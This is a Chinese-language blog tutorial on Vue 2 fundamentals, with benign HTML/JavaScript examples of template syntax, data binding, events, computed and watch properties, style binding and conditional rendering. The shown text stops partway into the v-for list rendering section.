系列学习前端之第 8 章:一文掌握 Vue2(核心基础篇)

news/2024/6/15 7:08:55/文章来源:https://blog.csdn.net/BiandanLoveyou/article/details/137048785

1、 Vue简介

1.1 简介

  • Vue 是动态构建用户界面的渐进式 JavaScript 框架,Vue 只关注视图层, 采用自底向上增量开发的设计。
  • 采用组件化模式,提高代码复用率、且让代码更好维护。
  • 借鉴 Angular 的模板和数据绑定技术
  • 声明式编码,让编码人员无需直接操作 DOM,提高开发效率。
  • 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点(借鉴 React 的组件化和虚拟 DOM 技术)。
  • 遵循 MVVM 模式
  • 编码简洁,体积小,运行效率高,适合移动端/PC端开发
  • Vue 2.0 在 2023 年 12 月 31 日停止更新

怎么理解虚拟 DOM?

在原生的 JavaScript 中,数据直接跟页面的 DOM 元素做绑定,但是如果数据发生改变,就需要修改数据与 DOM 元素的绑定关系。

而在 Vue 框架中,引入虚拟 DOM 概念(Virtual-DOM),读取到数据后,先放入到内存,再从内存转成真实 DOM 展示到页面。这样做的好处是:当内存中有数据改变时,使用 Diff 算法找出与原来内存数据的差异,无差异则直接复用旧的数据,而只变动差异部分的数据。

原生 JavaScript 实现: 

Vue 实现: 

 

1.2 Vue 周边库

  • vue-cli: vue 脚手架
  • vue-resource
  • axios
  • vue-router: 路由
  • vuex: 状态管理
  • element-ui: 基于 vue 的 UI 组件库(PC端)

1.3 官网

中文官网:https://cn.vuejs.org/

英文官网:https://vuejs.org/

1.4 第一个 Vue 程序

代码文档结构:vue.js 可以去 CDN 上下载(在页面上打开,复制出来保存成 vue.js,这里使用的是 2.7.9 版本) https://www.bootcdn.cn/

html 代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>HelloWorld</title><!-- CDN引入 Vue.js 库 --><!-- <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.7.9/vue.js"></script> --><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行/*1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;2. id="hello" 的容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;3. hello容器里的代码被称为【Vue模板】;4.Vue实例和容器是一一对应的;5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;*/new Vue({//el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。el: "#hello",//data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。data: {say: "你好,Vue!初次见面,请多关照!"}})}</script>
</head><body><div><h1 id="hello">{{say}}</h1></div>
</body></html>

效果:

小结: 

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2. id="hello" 的容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
3. hello容器里的代码被称为【Vue模板】;
4.Vue实例和容器是一一对应的;
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

另:如果是第一次开发 Vue,看到控制台有 2 个提示,请按照以下博客进行解决:

浏览器扩展程序增加 vue_dev_tools 调试工具-CSDN博客

Download the Vue Devtools extension for a better development experience

翻译:下载Vue Devtools扩展以获得更好的开发体验

You are running Vue in development mode.Make sure to turn on production mode when deploying for production.

翻译:您正在开发模式下运行Vue。为生产部署时,请确保打开生产模式。

2、模板语法

Vue 模板语法有 2 大类:插值语法和指令语法。插值语法用于解析标签体内容,指令语法用于解析标签(包括:标签属性、标签体内容、绑定事件等等)。

2.1 插值语法

插值语法:用于解析标签体内容,写法 {{xxx}} ,xxx是 js 表达式,且可以直接读取到data中的所有属性。

2.2 指令语法

指令语法:用于解析标签,例如:v-bind:href="xxx" 或者简写为 :href="xxx",xxx 同样要求是 js 表达式。另:Vue 中有很多的指令,格式都是 v-???

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>模板语法</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行/*插值语法:用于解析标签体内容,写法 {{xxx}} ,xxx是 js 表达式,且可以直接读取到data中的所有属性。指令语法:用于解析标签,例如:v-bind:href="xxx" 或者简写为 :href="xxx",xxx 同样要求是 js 表达式另:Vue 中有很多的指令,格式都是 v-???*/new Vue({//el表达式获取容器el: "#study",data: {nextWord: "人间正道是沧桑",school: {wenxin: "https://yiyan.baidu.com/",name: "B站尚硅谷",address: " https://www.bilibili.com/video/BV1Zy4y1K7SH"}}})}</script>
</head><body><!-- 准备一个 id=study 的容器 --><div id="study"><h1>插值语法,用于解析标签体的内容</h1><h2 style="color:purple">天若有情天亦老,下一句是:{{nextWord}}</h2><hr><h1>指令语法,用于解析标签</h1><a v-bind:href="school.wenxin" target="_blank">文心一言,一个神奇的 AI 网站</a><br><!-- v-bind 可以简写为冒号 --><a :href="school.address" target="_blank">去{{school.name}}学Vue</a></div>
</body></html>

效果:

3、数据绑定

Vue 中有2种数据绑定的方式:单向绑定(v-bind)和双向绑定(v-model)。

3.1 单向绑定

单向绑定(v-bind):数据只能从 data 流向页面

3.2 双向绑定

双向绑定(v-model):数据可以在页面和 data 双向流动

备注:双向绑定一般都应用在表单类(输入类)元素上,如:input、select等

v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据绑定</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行/*Vue 中有2种数据绑定的方式:1、单向绑定(v-bind):数据只能从 data 流向页面2、双向绑定(v-model):数据可以在页面和 data 双向流动备注:双向绑定一般都应用在表单类(输入类)元素上,如:input、select等v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。*/new Vue({//el表达式获取容器el: "#study",data: {nextWord: "远近高低各不同",}})}</script>
</head><body><!-- 准备一个 id=study 的容器 --><div id="study"><h1>单向绑定:数据只能从 data 流向页面</h1>横看成岭侧成峰,下一句是:<input type="text" :value="nextWord"><hr><h1>双向绑定:数据可以在页面和 data 之间互相流通</h1>横看成岭侧成峰,下一句是:<input type="text" v-model="nextWord"><br><!-- 以下代码错误:因为 v-model 只能应用在表单类元素上 --><!-- <h3 v-model:hello="name">你好!</h3> --></div>
</body></html>

效果:

打开“更多标签页”,找到 Vue 调试工具,可以直接修改 data 的数据内容。

4、el 和 data 的两种写法

4.1 el 的两种写法

el 有两种写法,第一种是在构建 Vue 对象时,就指定容器。第二种写法是 Vue 的对象通过调用 $mount 函数,挂载到指定的容器。通过函数挂载的写法更灵活。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>el的两种写法</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行//el 的两种写法const v = new Vue({//第一种写法,构建 Vue 对象时就指定容器//el: "#study",data: {nextWord: "不破楼兰终不还"}});console.log(v);//第二种写法,更灵活v.$mount("#study");//Vue 的对象通过调用 $mount 函数,挂载到指定的容器}</script></head><body><!-- 准备一个 id=study 的容器 --><div id="study"><h1>黄沙百战穿金甲,{{nextWord}}</h1></div>
</body></html>

4.2 data 的两种写法

data 有两种写法,第一种是对象式,这种方式的数据相对固定。第二种是函数式,更加灵活,更符合实际项目开发的需要。

注意事项:

由 Vue 管理的函数,一定不要写箭头函数,比如提到的 data 函数。一旦写了箭头函数,this就不再是 Vue 实例了,而是由 window 来管理。

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>data的两种写法</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行//data 的两种写法const vm = new Vue({el: "#player",//第一种写法:对象式/*data: {who: "乔丹"}*///第二种写法:函数式data: function () {//可以简写为 data(){return {xxx}}console.log(this);//此处的 this 是 Vue 实例对象return {who: "乔丹"}}/* 不要写成以下的箭头函数,归属全局的 window 管理data:()=>{return "";}*/});}</script>
</head><body><!-- 准备一个 id=player 的容器 --><div id="player"><h1>篮球之神:{{who}}</h1></div>
</body></html>

5、理解 MVVM 模型

MVVM 是 Model-View-ViewModel 的简写。它本质上就是MVC的改进版。MVVM模式有助于将应用程序的业务和表示逻辑与用户界面 (UI) 清晰分离。 保持应用程序逻辑和UI之间的清晰分离有助于解决许多开发问题,并使应用程序更易于测试、维护和演变。 它还可以显著提高代码重用机会,并允许开发人员和UI设计人员在开发应用各自的部分时更轻松地进行协作。

在 Vue 没出现的时候,MVVM 模型已经出现并且流行了。所以 Vue 只是参考了该模型,并在此基础上做了优化。

M:模型(Model),对应 Vue 中 data 的数据,一般的 JavaScript 对象

V:视图(View),模板,直接对应 DOM 对象

VM:视图模型(ViewModel),Vue 实例对象。所以一般创建 Vue 对象,都用 vm 去接。

说明:

1、data 中所有的属性,最后都出现在了 vm 身上。

2、vm 身上所有的属性,及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。

6、数据代理

6.1 什么是数据代理

概念:数据代理,是通过一个对象(中介)代理对另一个对象中属性的操作(读/写)。

跟我们平时生活接触到的:媒婆、房产中介、代理商...是同一个概念。

6.2 回顾 JavaScript 的 Object.defineProperty 方法

在 JavaScript 中,有一个 Object.defineProperty 方法用于代理对象的属性,如:

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据代理</title><script>//回顾 Object.defineProperty 方法let number = 30;//创建一个 Person 对象let Person = {name: "渣渣辉",setx: "男",}//使用 Object.defineProperty 代理 Person 对象的属性Object.defineProperty(Person, "age", {//控制属性是否可以枚举,默认是 false。设置为 true 后,代理的该属性就会被认为是 Person 的真正属性enumerable: true,//控制属性是否可以被修改,默认是 false。注意:如果设置了 get、set 就不能在设置 writable,否则会报错//writable: true,//控制属性是否可以被删除,默认是 falseconfigurable: true,//当有程序读取 Person 的 age 属性时,get(getter)函数就会被调用,且返回值就是 age 的值get() {console.log("有程序读取了 age 属性!");return number;},//当有程序修改 Person 的 age 属性时,set(setter)函数就会被调用,且修改的值就是 age 的值set(value) {console.log("有程序修改了 age 属性的值!");number = value;}})</script>
</head><body>
</body></html>

效果:

解读:

1、age 属性本来是不属于 Person 对象的,通过 Object.defineProperty 给 Person 对象代理了 age 属性,age 就会被认为是 Person 的真正属性。可以看到 age(...) 是通过代理得到的。

2、通过代理得到的对象,在设置了 get、set 属性后,就会动态的获取到最新设置的值,这对程序非常有用,可以动态的获取接口返回值,而不是程序写固定。

6.3 Vue 中的数据代理

代码实例(需要把 script 代码放在 body 后):

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据代理</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script>
</head><body><!-- 准备一个容器 --><div id="girl"><h3>女孩的名字:{{name}}</h3><h3>女孩的爱好:{{hobby}}</h3></div>
</body>
<script>const vm = new Vue({el: "#girl",data: {name: "小妮仔",hobby: "唱歌,跳民族舞,写前端代码"}})
</script></html>

效果:在控制台输入:  vm  回车

小结:

1、Vue 中的数据代理是通过 Vue 对象(示例中是 vm)来代理 data 对象中属性的操作(读/写)来实现

2、Vue 中的数据代理好处是可以更加方便的操作 data 中的数据

3、具体原理:通过 Object.defineProperty() 把 data 对象中所有属性添加到vm上,为每一个添加到 vm 上的属性,都指定一个 getter/setter 方法,在 getter/setter 方法内部去操作(读/写)data 中对应的属性。

7、事件处理

7.1 绑定监听

Vue 绑定监听有多种写法:

1、v-on:click = "xxx()",xxx 是事件名称

2、@click = "xxx()",也就是 v-on:click 可以简写为 @click

3、@click = "xxx(参数)",其中默认事件的形参是 event,隐含属性对象是 $event

4、事件的回调需要配置在 methods 对象中,最终会在 vm 对象上

5、methods 中配置的函数都是 Vue 管理的函数,不要使用箭头函数,否则 this 就不是 vm 而是 window 了

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>事件处理</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行const vm = new Vue({el: "#game",data: {name: "王者荣耀"},methods: {branch() {console.log(event.target.innerText);//输出触发该方法的属性的文本:请选择分路(不传参数)console.log(this === vm);//此处的 this 是 vm 对象alert("你还没选择分路!");},hero(event, heroName) {console.log(event, heroName);console.log(this === vm);//此处的 this 是 vm 对象alert("你选择的英雄是:" + heroName);}}});}</script>
</head><body><!-- 准备一个 id=game 的容器 --><div id="game"><h1>欢迎来到:{{name}}</h1><button v-on:click="branch()">请选择分路(不传参数)</button><button @click="hero($event, '亚瑟')">请选择英雄(传参)</button></div>
</body></html>

效果:

7.2 事件修饰符

Vue 中的修饰符主要有以下几种

  1. prevent:阻止默认事件(常用),即调用了 event.preventDefault() 
  2. stop:阻止事件冒泡(常用),冒泡:向父级传递事件。即调用了 event.stopPropagation() 
  3. once:事件只触发一次(常用)
  4. capture:使用事件的捕获模式
  5. self:只有 event.target 是当前操作的元素时才触发事件
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕
  7. 修饰符可以连续写,比如:@click.prevent.stop="xxx"

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>事件修饰符</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行const vm = new Vue({el: "#game",data: {name: "王者荣耀"},methods: {baidu() {console.log("无法跳到百度首页,因为加了 prevent 后会阻止默认事件(跳转事件)");},atguigu() {console.log("可以触发默认事件,比如:a标签的跳转事件");},daye(dragon) {console.log("正在打的野怪是:" + dragon);},victory() {console.log("我们胜利了!");}}});}</script>
</head><body><!-- 准备一个 id=game 的容器 --><div id="game"><h1>欢迎来到:{{name}}</h1><!-- 默认事件 --><div><!-- 没有阻止默认事件 --><a href="https://www.bilibili.com/video/BV1Zy4y1K7SH" @click="atguigu()" target="_blank">点我去尚硅谷学Vue!</a><!-- 阻止默认事件(常用) --><a href="http://www.baidu.com" @click.prevent="baidu()">点我去百度首页</a></div><!-- 事件的冒泡(向父级传递事件) --><div class="dragon" @click="daye('风暴龙王')"><!-- 没有阻止事件的冒泡的情况 --><button @click="daye('主宰')">我在打</button><!-- 阻止了事件的冒泡 --><button @click.stop="daye('暴君')">敌方在打</button></div><!-- 事件触发 --><div><!-- 事件只触发一次(常用) --><button @click.once="victory()">推倒对面水晶</button></div></div><style>* {margin: 10px;}/* 给 class="dragon" 加背景色  */.dragon {background-color: green;}</style>
</body></html>

效果:

7.3 键盘事件

Vue 中常用的按键别名:

回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合 keydown 去使用)
上 => up
下 => down
左 => left
右 => right

另外:

Vue 未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

系统修饰键(用法特殊):ctrl、alt、shift、meta(菜单键,也叫 win 键)

(1)配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

(2)配合keydown使用:可以正常触发事件。

也可以使用 keyCode 去指定具体的按键(不推荐),因为会存在不同的电脑、操作系统,keyCode 不同的情况。

除了使用 Vue 提供的按键别名外,我们也可以自定义按键别名。

按键事件与修饰符事件一样,支持连续写。比如:@keydown.enter.delete="xxx"

代码示例: 

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>键盘事件</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//自定义一个按键的别名,值等于13(13是回车对应的 code 值)Vue.config.keyCodes.huiche = 13;const vm = new Vue({el: "#keyboard",data: {name: "键盘事件"},methods: {//输出用户按下键盘的key和keyCodeshowKeyCode(e) {console.log("key=" + e.key, "keyCode=" + e.keyCode);},cooking(e) {//在控制台输出当前元素的值console.log(e.target.value);},travel(e) {//在控制台输出当前元素的值console.log(e.target.value);}}});}</script>
</head><body><!-- 准备一个 id=keyboard 的容器 --><div id="keyboard"><h2>这一节学习:{{name}}</h2><!-- 输出用户按下键盘的key和keyCode -->快看看按键都是什么吧:<input type="text" placeholder="快看看按键都是什么吧" @keydown="showKeyCode"><hr><!-- 使用 Vue 提供常用的按键别名 -->你想吃什么?来点菜吧!<input type="text" placeholder="你想吃什么?来点菜吧!" @keydown.enter="cooking"><hr><!-- 使用自定义键名 -->你想去哪里旅游?<input type="text" placeholder="你想去哪里旅游?" @keydown.huiche="travel"></div>
</body></html>

效果:

8、计算属性与监视

8.1 计算属性 computed

1、定义:要用的属性不存在,要通过已有属性计算得来。

2、原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。在 computed 对象中定义计算属性。同时,在页面中使用 {{方法名}} 来显示计算的结果。

3、get 函数什么时候执行?

  1. 初次读取时会执行一次
  2. 当依赖的数据发生改变时会被再次调用

4、优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。

5、备注:

  1. 计算属性最终会出现在 vm 上,直接读取使用即可。
  2. 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。

复习:使用 method 方式的代码示例(不会使用缓存,每次用到 method 方法时都要重新调用):

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>计算属性-method</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#computed",data: {heroName: "妲己",brands: "中路"},methods: {//显示英雄的打法play() {console.log("method 方式 调用了 play 方法 at " + Date.now());return this.heroName + "-" + this.brands;}}});}</script>
</head><body><!-- 准备一个 id=computed 的容器 --><div id="computed">英雄:<input type="text" v-model="heroName"><br><br>分路:<input type="text" v-model="brands"><br><br>打法1:<span>{{play()}}</span><br><br>打法2:<span>{{play()}}</span><br><br>打法3:<span>{{play()}}</span></div>
</body></html>

效果:

computed 方式的代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>计算属性-computed</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#computed",data: {heroName: "程咬金",brands: "上单"},computed: {//完整写法play: {get() {console.log("computed 方式,调用了 get 方法 at " + Date.now());return this.heroName + "-" + this.brands;},set(value) {console.log("value=" + value + "调用了 set 方法 at " + Date.now());return this.heroName + "-" + this.brands;}},//简写:当确定 computed 只有读取数据时,可以简写play2() {console.log("调用了 play2 方法 at " + Date.now());return this.heroName + "-" + this.brands;}}});}</script>
</head><body><!-- 准备一个 id=computed 的容器 --><div id="computed">英雄:<input type="text" v-model="heroName"><br><br>分路:<input type="text" v-model="brands"><br><br>打法1:<span>{{play}}</span><br><br>打法2:<span>{{play}}</span><br><br>打法3:<span>{{play}}</span><hr>简写:<span>{{play2}}</span></div>
</body></html>

效果:

8.2 监视属性 watch

对监视属性的理解

1、通过通过 vm 对象的 $watch() 或 watch 配置来监视指定的属性
2、当属性变化时, 回调函数自动调用,在函数内部进行计算

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>监视属性-watch</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#eat",data: {//判断如果是夏天,就吃冰淇淋,冬天吃火锅weather: "夏天",isSummer: true,},computed: {season() {return this.weather;},food() {return this.isSummer ? "冰淇淋" : "火锅";}},methods: {changeWeather() {//把布尔值取反this.isSummer = !this.isSummer;if (this.weather == "夏天") {this.weather = "冬天";return "冬天";} else {this.weather = "夏天";return "夏天";}}},//写法1,创建对象时就开始监视/*watch: {isSummer: {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("isSummer 被修改成:" + this.isSummer);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}},weather: {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("weather 被修改成:" + this.weather);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}}}*/});//写法2,使用挂载的方式vm.$watch("isSummer", {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("isSummer 被修改成:" + this.isSummer);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}});vm.$watch("weather", {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("weather 被修改成:" + this.weather);console.log("newValue=" + newValue);console.log("oldValue=" + oldValue);}});}</script>
</head><body><!-- 准备一个容器 --><div id="eat"><h2>现在是:{{season}},我喜欢吃:{{food}}</h2><button @click="changeWeather">切换夏天/冬天</button></div>
</body></html>

效果:

小结:

1、当被监视的属性变化时,回调函数自动调用,进行相关操作

2、监视的属性必须存在,才能进行监视。

3、如果加上 immediate: true 属性,在初始化时就会让 handler 执行一次,当然了,这时候的 oldValue 是还没有的,所以输出了 undefined

4、监视的两种写法:

  1. new Vue 时传入 watch 配置
  2. 通过 vm.$watch() 监视

8.3 深度监视

Vue 中的 watch 默认不监视对象内部值的改变(只监视第一层)。

配置 deep=true 可以监视对象内部值的改变(支持多层)。

备注:

  1. Vue 自身可以监视对象内部值的改变,但Vue提供的 watch 默认不可以!需要配置 deep=true 才可以
  2. 使用 watch 时要根据数据结构来决定是否采用深度监视,因为深度监视效率不高且很耗性能。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>深度监视</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#eat",data: {isSummer: true,price: {A: "冰淇淋卖¥10",B: "火锅卖¥88"}},computed: {food() {return this.isSummer ? "冰淇淋" : "火锅";}},methods: {changeWeather() {//把布尔值取反this.isSummer = !this.isSummer;//根据 isSummer 修改 price 的内容if (this.isSummer) {this.price.A = "冰淇淋涨价卖¥15";} else {this.price.B = "火锅涨价卖¥99";}}},watch: {isSummer: {immediate: true,//初始化时让handler调用一下handler(newValue, oldValue) {console.log("isSummer 被修改成:" + this.isSummer);}},price: {deep: true,handler() {if (this.isSummer) {console.log("夏天了," + this.price.A);} else {console.log("冬天了," + this.price.B);}}}}});}</script>
</head><body><!-- 准备一个容器 --><div id="eat"><h2>我喜欢吃:{{food}}</h2><button @click="changeWeather">切换夏天/冬天</button></div>
</body></html>

效果:当修改 price 对象内部的属性时(即 price 内部属性发生变化),配置了 deep=true,就能做深度监视

watch 支持简写,前提是不配置 immediate 和 deep 等信息,且注意不能写成箭头函数如:

//isSummer 简写形式,前提是不配置 immediate 和 deep 等信息

 isSummer(newValue, oldValue) {

      console.log("isSummer 被修改成:" + this.isSummer);

}

8.4、computed 和 watch 之间的区别

  1. computed 能完成的功能,watch 都可以完成。
  2. watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

两个重要的原则:

1、所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。

2、所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise的回调函数)但是写在了 Vue 对象范围内,最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>watch内使用箭头函数</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#performer",data: {star: "陈奕迅",song: "",famous: "",},watch: {star(value) {console.log("star被监视到修改为" + value);this.famous = value + "-" + this.song;},song(value) {setTimeout(() => {console.log("song被监视到修改为" + value);console.log("watch内的箭头函数的this=", this);this.famous = this.star + "-" + value;}, 1000); //1秒后执行}}});}</script>
</head><body><!-- 准备一个容器 --><div id="performer">歌手:<input type="text" v-model="star"><br><br>歌曲:<input type="text" v-model="song"><br><br>歌手&主打歌曲:<span>{{famous}}</span></div>
</body></html>

效果:

9、绑定样式

在应用界面中,某些元素的样式是变化的,class/style 绑定就是专门用来实现动态样式效果的技术。

9.1 class 样式

写法:class="xxx" xxx可以是字符串、对象、数组。

  • 表达式是字符串 : 'classA'。字符串写法适用于:类名不确定,要动态获取。
  • {classA:isA, classB: isB}。对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
  • ['classA', 'classB']。数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

9.2 style 样式

:style="{fontSize: xxx}"其中xxx是动态值。其中 activeColor/fontSize 是 data 属性

:style="[a,b]"其中a、b是样式对象。

示例代码:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>绑定样式</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#bindClass",data: {name: "vue",languageClass: "vue",classArr: ["beijing", "shanghai", "shenzhen"],classObj: {beijing: false,shanghai: false,shenzhen: true},styleObj: {backgroundColor: "orange",fontSize: "20px",},styleArr: [{backgroundColor: "purple",fontSize: "30px",}, {color: "blue"}]},methods: {coding() {const arr = ["vue", "java", "php"];const index = Math.floor(Math.random() * 3);this.name = arr[index];this.languageClass = arr[index];},}});}</script>
</head><body><!-- 准备一个容器 --><div id="bindClass">绑定class样式--字符串写法:<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --><div class="basic" :class="languageClass" @click="coding">{{name}}是世界上最好的编程语言?</div><hr>绑定class样式--数组写法:<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 --><div class="basic" :class="classArr">{{name}}</div><hr>绑定class样式--对象写法:<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 --><div class="basic" :class="classObj">{{name}}</div><hr>绑定style样式--对象写法:<!-- 绑定style样式--对象写法 --><div class="basic" :style="styleObj">{{name}}</div><hr>绑定style样式--数组写法:<!-- 绑定style样式--数组写法 --><div class="basic" :style="styleArr">{{name}}</div></div><style>/* 基本样式 */.basic {width: 300px;height: 100px;border: 1px solid black;}.vue {background-color: green;}.java {background-color: skyblue;}.php {background-color: lightpink;}/* 字体大小:30px */.shenzhen {font-size: 30px;}/* 水平对齐方式:居中对齐 */.beijing {color: red;}/* 字体颜色:红色 */.shanghai {text-align: center;}</style>
</body></html>

效果:

10、条件渲染

10.1 v-if

写法

v-if="表达式" 

v-else-if="表达式"

v-else="表达式"

适用于:切换频率较低的场景。

特点:不展示的DOM元素直接被移除。

注意:v-if 可以和 :v-else-if、v-else一起使用,但要求结构不能被“打断”。

10.2 v-show

写法:  v-show="表达式"

适用于:切换频率较高的场景。

特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉。

备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>条件渲染</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#income",data: {name: "日薪月亿论坛",n: 0}});}</script>
</head><body><!-- 准备一个容器 --><div id="income"><h2>我当前的月薪是:{{n}} 万</h2><button @click="n++">点我可以涨薪</button><!-- 使用 v-show 做条件渲染 --><h3 v-show="true">欢迎来到:{{name}}</h3><h3 v-show="false">你们聊,我隐身</h3><h3 v-show="n === 3">月薪3万不是梦!</h3><!-- 使用 v-if、v-else-if和v-else --><div v-if="n === 1">月薪{{n}}万</div><div v-else-if="n ===2">月薪{{n}}万</div><!-- 要求结构不能被“打断”,下面一行代码位置不正确 --><!-- <div>我在 v-if 中间插入某个元素,打断你们聊天!</div> --><div v-else-if="n === 3">月薪{{n}}万</div><div v-else>瞎扯!</div><!-- v-if 与 template 配合使用 --><template v-if="n === 2"><h2>在下面的城市可以轻松拿月薪{{n}}万</h2><h3>北京</h3><h3>上海</h3><h3>深圳</h3></template></div>
</body></html>

效果:

11、列表渲染

11.1 v-for

1、v-for 的作用:用于展示列表数据

2、语法:

v-for="(item, index) in xxx"  :key="yyy"                  其中 in 可以替换为  of

3、可以遍历:数组、对象、字符串(用得比较少)、指定次数(用得很少)

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>v-for使用</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#sport",data: {ballArr: [{ id: "01", name: "足球", translate: "football" },{ id: "02", name: "篮球", translate: "basketball" },{ id: "03", name: "羽毛球", translate: "badminton" },],dog: {name: "旺财",color: "黄色",weight: "10斤"},str: "girl"}});}</script>
